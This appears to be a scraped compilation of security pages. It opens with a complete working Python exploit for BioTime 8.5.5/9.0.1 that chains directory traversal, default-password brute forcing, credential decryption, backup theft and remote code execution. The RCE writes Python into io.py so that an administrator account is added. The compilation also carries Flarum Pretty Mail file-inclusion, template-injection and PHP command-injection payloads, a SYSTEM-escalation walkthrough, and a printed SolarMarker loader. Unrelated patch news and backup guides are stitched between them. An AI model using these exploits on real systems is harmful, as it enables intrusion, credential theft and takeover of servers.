BioTime versions 8.5.5 and 9.0.1 suffer from directory traversal and file write vulnerabilities. This exploit also achieves remote code execution on version 8.5.5.

    #  __________.__     ___________.__                #  \______   \__| ___\__    ___/|__| _____   ____  #   |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ #   |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ #   |______  /__|\____/|____|   |__|__|_|  /\___  >#          \/                            \/     \/ # Tested on 8.5.5 (Build:20231103.R1905)# Tested on 9.0.1 (Build:20240108.18753)# BioTime, "time" for shellz!# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950# RCE by adding a user to the system, not the app.# Relay machine creds over smb, while creating a backup# Decrypt SMTP, LDAP or SFTP creds, if any.# Get sql backup. Good luck cracking those hashes!# Can use Banner to determine which version is running# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache => BioTime Version 9# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)import requestsfrom bs4 import BeautifulSoupimport osimport jsonimport sysfrom Crypto.Cipher import AESfrom Crypto.Cipher import ARC4import base64from binascii import b2a_hex, a2b_hexrequests.packages.urllib3.disable_warnings()proxies = {    'http': 'http://127.0.0.1:8080',  # Proxy for HTTP traffic    'https': 'http://127.0.0.1:8080'  # Proxy for HTTPS traffic}proxies = {}target =  sys.argv[1]def decrypt_rc4(base64_encoded_rc4, password="biotime"):    encrypted_data = base64.b64decode(base64_encoded_rc4)    cipher = ARC4.new(password.encode())    decrypted_data = cipher.decrypt(encrypted_data)    return decrypted_data.decode()# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="# password = "biotime"# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)# print("Decrypted data:", decrypted_data)AES_PASSWORD = b'china@2018encryption#aes'AES_IV = b'zkteco@china2019'def filling_data(data, restore=False):    '''    :param data: str    :return: str    '''    if restore:        return data[0:-ord(data[-1])]    block_size = AES.block_size  # Use AES.block_size instead of None.block_size    return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)def aes_encrypt(content):    '''    Encryption    :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out    :return: str    '''    if isinstance(content, bytes):        content = str(content, 'utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))    result = b2a_hex(encrypted).decode('utf-8')    return resultdef aes_decrypt(content):    '''    Decryption    :param content: str or bytes, Encryption string    :return: str    '''    if isinstance(content, str):        content = content.encode('utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    result = cipher.decrypt(a2b_hex(content)).decode('utf-8')    return filling_data(result, restore=True)#Check BioTimeurl = f'{target}/license/'response = requests.get(url, proxies=proxies, verify=False)html_content = response.contentsoup = BeautifulSoup(html_content, 'html.parser')build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]build = Nonefor line in build_lines:    build = line    print(f"Found BioTime: {line}")    breakif build != None:    buildNumber = build[0]else:    print("Unsupported Target!")    sys.exit(1)# Dir Traversalurl = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'response = requests.get(url, proxies=proxies, verify=False)try:    print("Dir Traversal Attempt\nOutput of windows/win.ini file:")    print(base64.b64decode(response.text).decode('utf-8'))    try:        url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'        response = requests.get(url, proxies=proxies, verify=False)        attConfig = base64.b64decode(response.text).decode('utf-8')        #print(f"Output of BioTime config file: {attConfig}")    except:        try:            url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'            response = requests.get(url, proxies=proxies, verify=False)            attConfig = base64.b64decode(response.text).decode('utf-8')            #print(f"Output of BioTime config file: {attConfig}")        except:            print("Couldn't get BioTime config file (possibly non default configuration)")    lines = attConfig.split('\n')    for i, line in enumerate(lines):        if "PASSWORD=@!@=" in line:            dec_att = decrypt_rc4(lines[i].split("@!@=")[1])            lines[i] = lines[i].split("@!@=")[0]+dec_att    attConfig_modified = '\n'.join(lines)    print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")except:    print("Couldn't exploit Dir Traversal")# Extract Cookiesurl = f'{target}/login/'response = requests.get(url, proxies=proxies, verify=False)if response.status_code == 200:    soup = BeautifulSoup(response.text, 'html.parser')    csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})    if csrf_token_header:        csrf_token_header_value = csrf_token_header['value']        print(f"CSRF Token Header: {csrf_token_header_value}")        session_id_cookie = response.cookies.get('sessionid')    if session_id_cookie:        print(f"Session ID: {session_id_cookie}")        csrf_token_value = response.cookies.get('csrftoken')    if csrf_token_value:        print(f"CSRF Token Cookie: {csrf_token_value}")else:    print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")# Login Now!cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}for i in range(1,10):    username = i    password = '123456' # Deafult password!    data = {        'username': username,        'password': password,        'captcha':'',        'login_user':'employee'    }    headers = {        'User-Agent': 'Krash Consulting',        'X-CSRFToken': csrf_token_header_value    }    response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)    if response.status_code == 200:        json_response = response.json()        ret_value = json_response.get('ret')        if ret_value == 0:            print(f"Valid Credentials found: Username is {username} and password is {password}")            session_id_cookie = response.cookies.get('sessionid')            if session_id_cookie:                print(f"Auth Session ID: {session_id_cookie}")                        csrf_token_value = response.cookies.get('csrftoken')            if csrf_token_value:                print(f"Auth CSRF Token Cookie: {csrf_token_value}")            breakif i == 9:    print("No valid users found!")    sys.exit(1)# Check for Backupsdef downloadBackup():    url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("Backup files list")    print(json.dumps(response_data, indent=4))    if response_data['count'] > 0:        backup_info = response_data['data'][0]  # Latest Backup        operator_name = backup_info['operator']        backup_file = backup_info['backup_file']        db_type = backup_info['db_type']        print("Operator:", operator_name)        print("Backup File:", backup_file)        print("Database Type:", db_type)        if buildNumber == "9":            createBackup()            print("Backup File password: Krash")        #download = os.path.basename(backup_file)        path = os.path.normpath(backup_file)        try:            split_path = path.split(os.sep)            files_index = split_path.index('files')            relative_path = '/'.join(split_path[files_index + 1:])        except:            return False        url = f'{target}/files/{relative_path}'        print(url)        response = requests.get(url, proxies=proxies, verify=False)        if response.status_code == 200:            filename = os.path.basename(url)            with open(filename, 'wb') as file:                file.write(response.content)            print(f"File '{filename}' downloaded successfully.")        else:            print("Failed to download the file. Status code:", response.status_code)        return False    else:        print("No backup Found!")        return Truedef createBackup(targetPath=None):    print("Attempting to create backup.")    url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    html_content = response.content    soup = BeautifulSoup(html_content, 'html.parser')    pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]    print(f"Possible backup location: {pathBackup}")    url = f'{target}/base/dbbackuplog/action/'    if targetPath == None:        if buildNumber == "9" or build[:5] == "8.5.5":            targetPath = "C:\\ZKBioTime\\files\\backup\\"        else:            targetPath = "C:\\BioTime\\files\\fw\\"    if buildNumber == "9":        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79',            'backup_encryption_choices': '2',            'auto_backup_password': 'Krash'        }    else:        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79'        }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    if response.status_code == 200:        print("Backup Initiated.")    else:        print("Backup failed!")if downloadBackup():    createBackup()    downloadBackup()url = f'{target}/base/api/systemSettings/email_setting/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("SMTP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))url = f'{target}/base/api/systemSettings/ldap_setup/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("LDAP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))def sftpRCE():    print("Attempting RCE!")    #Add SFTP, Need valid IP/credentials here!    print("Adding FTP List")    url = f'{target}/base/sftpsetting/add/'    myIpaddr = '192.168.0.11'    myUser = 'test'    myPassword = 'test@123'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name':myUser,        'user_password':myPassword,        'user_key':'',        'action_name': '47656e6572616c416374696f6e4e6577'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print(response)    url = f'{target}/base/sftpsetting/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("FTP List")    print(json.dumps(response_data, indent=4))    backup_info = response_data['data'][0]  # Latest SFTP    getID = backup_info['id']    if getID:        print("ID to edit ", getID)    #Edit SFTP (Response can have errors, it doesn't matter)    print("Editing SFTP Settings")    if buildNumber == "9":        dirTraverse = '\..\..\..\python311\lib\io.py'    else:        dirTraverse = '\..\..\..\python37\lib\io.py'    if len(dirTraverse) > 30:        print("Directory Traversal length is greater than 30, will not work!")        sys.exit(1)    url = f'{target}/base/sftpsetting/edit/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name': dirTraverse,        'user_password':myPassword,        'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',        'obj_id': getID    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")    #Delete SFTP    print("Deleting SFTP Settings")    url = f'{target}/base/sftpsetting/action/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'id': getID,        'action_name': '47656e6572616c416374696f6e44656c657465'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)#RCEif buildNumber == "9" or build[:5] == "8.5.5":    sftpRCE()# #Relay Creds# createBackup("\\\\192.168.0.11\\KC\\test")

BioTime Directory Traversal / Remote Code Execution

Despite a plethora of available security solutions, more and more organizations fall victim to Ransomware and other threats. These continued threats aren't just an inconvenience that hurt businesses and end users - they damage the economy, endanger lives, destroy businesses and put national security at risk. But if that wasn’t enough – North Korea appears to be using revenue from cyber

Detecting Windows-based Malware Through Better Visibility

Plus: Microsoft patches over 60 vulnerabilities, Mozilla fixes two Firefox zero-day bugs, Google patches 40 issues in Android, and more.

It’s time to check your software updates. March has seen the release of important patches for Apple’s iOS, Google’s Chrome, and its privacy-conscious competitor Firefox. Bugs have also been squashed by enterprise software giants including Cisco, VMware, and SAP.

Here’s what you need to know about the security updates issued in March.

**Apple iOS**

Apple made up for a quiet February by issuing two separate patches in March. At the start of the month, the iPhone maker released iOS 17.4, fixing over 40 flaws including two issues already being used in real-life attacks.

Tracked as CVE-2024-23225, the first bug in the iPhone Kernel could allow an attacker to bypass memory protections. “Apple is aware of a report that this issue may have been exploited,” the iPhone maker said on its support page.

Tracked as CVE-2024-23296, the second flaw, in RTKit, the real-time operating system used in devices including AirPods, could also allow an adversary to bypass Kernel memory protections.

Later in March, Apple released a second software update, iOS 17.4.1, this time fixing two flaws in its iPhone software, both tracked as CVE-2024-1580. Using the issues patched in iOS 17.4.1, an attacker could execute code if they convinced someone to interact with an image.

Soon after issuing iOS 17.4.1, Apple released patches for its other devices to fix the same bugs: Safari 17.4.1, macOS Sonoma 14.4.1 and macOS Ventura 13.6.6.

**Google Chrome**

March was another hectic month for Google, which patched multiple flaws in its Chrome browser. Mid-way through the month, Google released 12 patches, including a fix for CVE-2024-2625, an object-lifecycle issue in V8 with a high severity rating.

Medium-severity issues include CVE-2024-2626, an out-of-bounds read bug in Swiftshader; CVE-2024-2627, a use-after-free flaw in Canvas; and CVE-2024-2628, an inappropriate implementation issue in Downloads.

At the end of the month, Google issued seven security fixes, including a patch for a critical use-after-free flaw in ANGLE tracked as CVE-2024-2883. Two further use-after-free bugs, tracked as CVE-2024-2885 and CVE-2024-2886, were given a high-severity rating. Meanwhile, CVE-2024-2887 is a type-confusion flaw in WebAssembly.

The last two issues were exploited at the Pwn2Own 2024 hacking contest, so you should update your Chrome browser ASAP.

**Mozilla Firefox**

Mozilla’s Firefox had a busy March, after patching two zero-day vulnerabilities exploited at Pwn2Own. CVE-2024-29943 is an out-of-bounds access bypass issue, while CVE-2024-29944 is a privileged JavaScript Execution flaw in Event Handlers that could lead to sandbox escape. Both issues are rated as having a critical impact.

Earlier in the month, Mozilla released Firefox 124 to address 12 security issues, including CVE-2024-2605, a sandbox-escape flaw affecting Windows operating systems. An attacker could have leveraged the Windows Error Reporter to run arbitrary code on the system, escaping the sandbox, Mozilla said.

CVE-2024-2615 sees critical-rated memory safety bugs fixed in Firefox 124. “Some of these bugs showed evidence of memory corruption, and we presume that with enough effort \[they\] could have been exploited to run arbitrary code,” Mozilla said.

**Google Android**

Google has released its March Android Security Bulletin, fixing nearly 40 issues in its mobile operating system, including two critical bugs in its system component. CVE-2024-0039 is a remote code-execution flaw, while CVE-2024-23717 is an elevation-of-privilege vulnerability.

“The most severe of these issues is a critical security vulnerability in the System component that could lead to remote code execution with no additional execution privileges needed,” Google said in its advisory.

You Should Update Apple iOS and Google Chrome ASAP

The FoF Pretty Mail extension version 1.1.2 for Flarum suffers from a local file inclusion vulnerability.

    Exploit Title: FoF Pretty Mail 1.1.2 Extension for Flarum Local FileInclusion (LFI)Date: 03/28/2024Exploit Author: Chokri HammediVendor Homepage: https://flarum.org/Software Link: https://github.com/FriendsOfFlarum/pretty-mailVersion: 1.1.2Tested on: Windows XPCVE: N/ADescription:The FoF Pretty Mail extension for Flarum is vulnerable to Local FileInclusion (LFI) due to the unsafe handling of file paths in the emailtemplate. An attacker with administrative access can exploit thisvulnerability to include sensitive files from the server's file system inthe email content, potentially leading to information disclosure.Steps to Reproduce:Log in as an administrator on the Flarum forum.Navigate to the FoF Pretty Mail extension settings.Edit the email default template and insert the following payload at the endof the template:{{ include('/etc/passwd') }}Save the changes to the email template.Trigger any action that sends an email, such as user registration orpassword reset.The recipient of the email will see the contents of the included file (inthis case, /etc/passwd) in the email content.

FoF Pretty Mail 1.1.2 Local File Inclusion

The FoF Pretty Mail extension version 1.1.2 for Flarum suffers from a server-side template injection vulnerability.

    Exploit Title: FoF Pretty Mail 1.1.2 Extension for Flarum Server-SideTemplate Injection (SSTI)Date: 03/28/2024Exploit Author: Chokri HammediVendor Homepage: https://flarum.org/Software Link: https://github.com/FriendsOfFlarum/pretty-mailVersion: 1.1.2Tested on: Windows XPCVE: N/ADescription:The FoF Pretty Mail extension for Flarum is vulnerable to Server-SideTemplate Injection (SSTI) due to the unsafe handling of template variables.An attacker with administrative access can inject malicious code into theemail template, leading to arbitrary code execution on the server.Steps to Reproduce:Log in as an administrator on the Flarum forum.Navigate to the FoF Pretty Mail extension settings.Edit the email default template and insert the following payload:{{ 7*7 }}{{ system('id') }}{{ system('echo "Take The Rose"') }}Save the changes to the email template.Trigger any action that sends an email, such as user registration orpassword reset.The recipient of the email will see the result of the injected expressions(e.g., "49" for {{ 7*7 }}, the output of the id command for {{ system('id')}}, and the output of the echo "Take The Rose" command for {{ system('echo"Take The Rose"') }}) in the email content.

FoF Pretty Mail 1.1.2 Server-Side Template Injection

The FoF Pretty Mail extension version 1.1.2 for Flarum suffers from a command injection vulnerability.

    Exploit Title: FoF Pretty Mail 1.1.2 Extension for Flarum Command InjectionDate: 03/28/2024Exploit Author: Chokri HammediVendor Homepage: https://flarum.org/Software Link: https://github.com/FriendsOfFlarum/pretty-mailVersion: 1.1.2Tested on: Windows XPCVE: N/ADescription:The FoF Pretty Mail extension for Flarum is vulnerable to Command Injectiondue to the unsafe handling of user input in the email template. An attackerwith administrative access can inject PHP code into the email template,leading to arbitrary command execution on the server.Steps to Reproduce:Log in as an administrator on the Flarum forum.Navigate to the FoF Pretty Mail extension settings.Edit the email default template and insert one of the following payloads atthe end of the template:<?php system('echo "Take The Rose"; id'); ?>or<?php system('echo "Take The Rose"; cat /etc/passwd'); ?>Save the changes to the email template.Trigger any action that sends an email, such as user registration orpassword reset.The recipient of the email will see the message "Take The Rose" followed bythe output of the injected command (id or cat /etc/passwd) in the emailcontent.

FoF Pretty Mail 1.1.2 Command Injection

Intel PowerGadget version 3.6 suffers from a local privilege escalation vulnerability.

    Vulnerability summary: Local Privilege Escalation from regular user to SYSTEM, via conhost.exe hijacking triggered by MSI installer in repair modeAffected Products: Intel PowerGadgetAffected Versions: tested on PowerGadget_3.6.msi (a3834b2559c18e6797ba945d685bf174), file signed on ‎Monday, ‎February ‎1, ‎2021 9:43:20 PM (this seems to be the latest version), earlier versions might be affected as well.Affected Platforms: WindowsCommon Vulnerability Scoring System (CVSS) Base Score (CVSSv3): 7.8 HIGHRisk score (CVSSv3): 7.8 HIGH AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H&version=3.1)I have reported this issue to Intel, but since the product has been marked End of Life since October 2023, it is not going to receive a security update nor a security advisory. Intel said that they are OK with me making this finding public, under the condition that I would emphasize that the product is EOL.Description and steps to replicate:On systems where Intel PowerGadget is installed from an MSI package, a local interactive regular user is able to run the MSI installer file in the "repair" mode and hijack the conhost.exe process (which is created by an instance of sc.exe the installer calls during the process) by quickly left-clicking on the console window that pops up for a split second in the late stage of the process. Left-clicking on the conhost.exe console window area freezes the console (meaning it prevents the sc.exe process from exiting). That process is running as NT AUTHORITY/SYSTEM. From there, it is possible to run a web browser by clicking on one of the links in the small GUI window that can be called by right-clicking on the console window bar and entering "properties". Once a web browser is spawn, attacker can call up the "Open" dialog and in that way get a fully working escape to explorer. From there they can, for example, browse through C:\Windows\System32 and right-click on cmd.exe and run it, obtaining as SYSTEM shell.Now - an important detail - on most recent builds of Windows neither Edge nor Internet Explorer will spawn as SYSTEM (this is a mitigation from Microsoft); thus for successful exploitation another browser has to already be present in the system. As you can see I pick Chrome and then spawn an instance of cmd.exe, which turns out to be running as SYSTEM. Also, when doing this, DO NOT check "always use this app" in that dialog, as if you pick the wrong one (e.g. Edge or IE), it will be saved as the default http/https handler for SYSTEM and from then further attacks like this won't work if you want to repeat the POC - unless you reverse that change somewhere in the registry.This class of Local Privilege Escalations is described by Mandiant in this article: https://www.mandiant.com/resources/blog/privileges-third-party-windows-installers.To run the installer in repair mode, one needs to identify the proper MSI file. After normal installation, it is by default present in C:\Windows\Installer directory, under a random name. The proper file can be identified by attributes like control sum, size or "author" information.The exploitation process is illustrated in the screenshots below, reflecting the the steps taken to attain a SYSTEM shell (no exploit development is required, the issue can be exploited using GUI).Recommendation:Technically, as per the reference, it is recommended to change the way the sc.exe is called, using the WixQuietExec() method (see the second reference). In such case the conhost.exe window will not be visible to the user, thus making it impossible to perform any GUI interaction and an escape.I am, however, aware that this product is no longer maintained since October 2023 (https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html) and that includes security updates. Still, I believe a security advisory and CVE should be released just to make users and administrators aware why they need to replace PowerGadget with Intel Performance Counter Monitor.Another possible (short-term) mitigation is to disable MSI (https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi).References:https://hackingiscool.pl/intel-powergadget-3-6-local-privilege-escalation/https://www.mandiant.com/resources/blog/privileges-third-party-windows-installershttps://wixtoolset.org/docs/v3/customactions/qtexec/https://www.intel.com/content/www/us/en/developer/articles/tool/power-gadget.html)https://learn.microsoft.com/en-us/windows/win32/msi/disablemsi

Intel PowerGadget 3.6 Local Privilege Escalation

An easy-to-understand guide on how to back up your Windows PC to OneDrive.

They say the only backup you ever regret is the one you didn’t make. Starting in Windows 10, the operating system (OS) now comes with a built-in tool to back up your files, themes, some settings, many of your installed apps, and your Wi-Fi information.

First, you’ll need to sign in with your Microsoft account

Go to **Start**  > **Settings**  > **Accounts**  > **Your info** . Select **Sign in with a Microsoft account instead**. You’ll see this only if you’re using a local account. If you see **Sign in with a local account instead**, you’re already using your Microsoft account.

To start the backup process select **Start**  **\> Windows Backup**.

Select **Folders** to drop down a list, and select which of your user folders you want to back up by toggling them **On** or **Off**. The ones you have already backed up will say **Backed up** next to them.

**Next**, you can move forward to back up your settings. You can use the drop down for each category and select the items you want to back up by setting them to **On** or **Off**.

First choose your apps:

Then your settings:

Then your credentials:

When you’ve decided on what to back up, click **Back up** and the backup will be made.

From this point on, Windows will synchronize these backups at regular intervals. If it’s been a while since you made your backups or changed your settings, you can check the status by going to **Start  > Settings  > Accounts  > Windows backup**.

_Current status_

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

 How to back up your Windows 10/11 PC to OneDrive 

An easy-to-understand guide on how to back up your iPhone to a Windows computer

They say the only backup you ever regret is the one you didn’t make. iPhone backups can be used to easily move your apps and data to a new phone, to recover things you’ve lost, or to fix things that have failed.

We’ve published posts on how to back up your iPhone to iCloud, and how to backup an iPhone to a Mac. Another method is to backup using the iTunes app on a Windows system.

Choose whichever backup method works best for you, and will continue to work.

First, connect your iPhone to the Windows system with a cable.

You are likely to see a prompt on your iPhone asking whether it can trust this computer.

To proceed, tap **Trust** and entering your passcode.

Then open the iTunes app on your Windows device.

In iTunes click the **Device** symbol in the upper left corner (next to the Music drop down box).

_Note: It may take a while before the device icon appears_

In the **Settings** of the iTunes app select **Summary**.

You’ll see some device data about your iPhone, and below that a **Backups** menu.

Here you can select either **iCloud** or **This Computer**.

To create a local backup select **This Computer** and click on **Back Up Now** to create a new backup of your iPhone on your Windows System.

To encrypt your backups, select **Encrypt local backup**, type a password, then click **Set Password**.

**We don’t just report on phone security—we provide it**

Cybersecurity risks should never spread beyond a headline. Keep threats off your mobile devices by downloading Malwarebytes for iOS, and Malwarebytes for Android today.

 How to back up your iPhone to a Windows computer 

How experts uncovered a years-long SolarMarker attack on a K-12 district

In early 2024, a large K-12 school district partnered with ThreatDown MDR to strengthen its cybersecurity posture. Shortly after onboarding, ThreatDown MDR analysts detected unusual patterns of activity subsequently identified as the work of SolarMarker, a sophisticated backdoor. It became evident that SolarMarker had been present in the district’s system since at least 2021, likely exfiltrating data over several years.

Let’s dive further into the investigation’s findings and the steps taken to mitigate the threat.

**SolarMarker infection****Background**

The incident began with the detection of an anomalous instance of PowerShell attempting to establish an outbound network connection to a suspicious IP address **(188.241.83.61)**. This connection attempt was thwarted by Malwarebytes Web Protection (MWAC), signaling the first indication of a potential security breach.

**Initial challenges**

Upon investigation, it was discovered that Endpoint Detection and Response (EDR) settings were disabled in the client’s endpoint policy. This limitation prevented the use of Fast Response Scanning (FRS) to capture and analyze detailed endpoint data, necessitating a manual approach to the investigation utilizing Active Response Scanning (ARS).

**Investigation and analysis**

The first step involved querying active network connections with **netstat**, which revealed an instance of PowerShell in operation. To further understand the nature of this PowerShell instance, its command line was examined using Windows Management Instrumentation Command-line (WMIC) with the process ID (PID), which unveiled obfuscated code.

**Decoding and understanding SolarMarker**

The obfuscated PowerShell code was extracted and refactored for clarity. The analysis revealed the following components of the malware’s operation:

    powershell
    
    $decodeKey = '<Base64_encoded_string>'
    
    $encodedFilePath = 'C:\Users\akeith\AppData\Roaming\micROSoft\wbpgVnSBjsytaokm\JqdVQplHfgwxyNmtaPX.gvzPlATqFe'
    
    $decodedPayload = [System.IO.File]::ReadAllBytes($encodedFilePath)
    
    for ($payloadIndex = 0; $payloadIndex -lt $decodedPayload.Count; $payloadIndex++) {
    
     $decodedPayload[$payloadIndex] = $decodedPayload[$payloadIndex] -bxor $decodeKey[$payloadIndex % $decodeKey.Length]
    
     if ($payloadIndex -ge $decodeKey.Length) {
    
     $payloadIndex = $decodeKey.Length
    
     }
    
    }
    
    [System.Reflection.Assembly]::Load($decodedPayload)
    
    [ab821408b424418fa94bb4d815b4e.ad0682a943e4859ef35309cc0a537]::a1f5abfa214411baa77e25f6ceaa6()
    

This code reveals the malware’s methodology:

*   It utilizes a Base64-encoded string as a decryption key.
*   It targets a specific file path for encoded data.
*   It reads, decodes, and executes the encrypted payload.

The command line shows signs of the malicious script execution, with parameters indicative of a desire to hide the window (-WindowStyle Hidden), bypass execution policies (-Ep ByPass), and run encoded commands (-ComMand “sa43…). 

Further investigation uncovered randomly named folders within the AppData\\Roaming\\Microsoft directory, each containing encoded payloads. These discoveries suggested a more widespread infection than initially anticipated.

**Response and mitigation**

The response involved several steps to contain and eliminate the threat:

*   Terminating the malicious PowerShell instance.
*   Deleting the identified folders containing encoded payloads.
*   Conducting a thorough search for persistence mechanisms, which fortunately yielded no findings.

A comprehensive threat scan was executed, and the incident was escalated for visibility with the client. Post-reboot checks confirmed the absence of persistence, no spawn of new PowerShell instances, and blocking of suspicious network connections, indicating successful remediation of the infection.

**Conclusion**

As we’ve seen in our 2024 State of Ransomware in Education report, the educational sector continues to be a prime target for attackers. In this case, attackers used SolarMarker, a sophisticated backdoor, to lurk within the school district’s network for years, likely stealing data in the process. Its presence went undetected until the district onboarded with ThreatDown MDR. Despite facing initial obstacles, such as disabled EDR settings, the ThreatDown MDR team successfully identified and neutralized the SolarMarker infection through manual intervention.

Discover how ThreatDown MDR can safeguard your K-12 institution.

Tag

#windows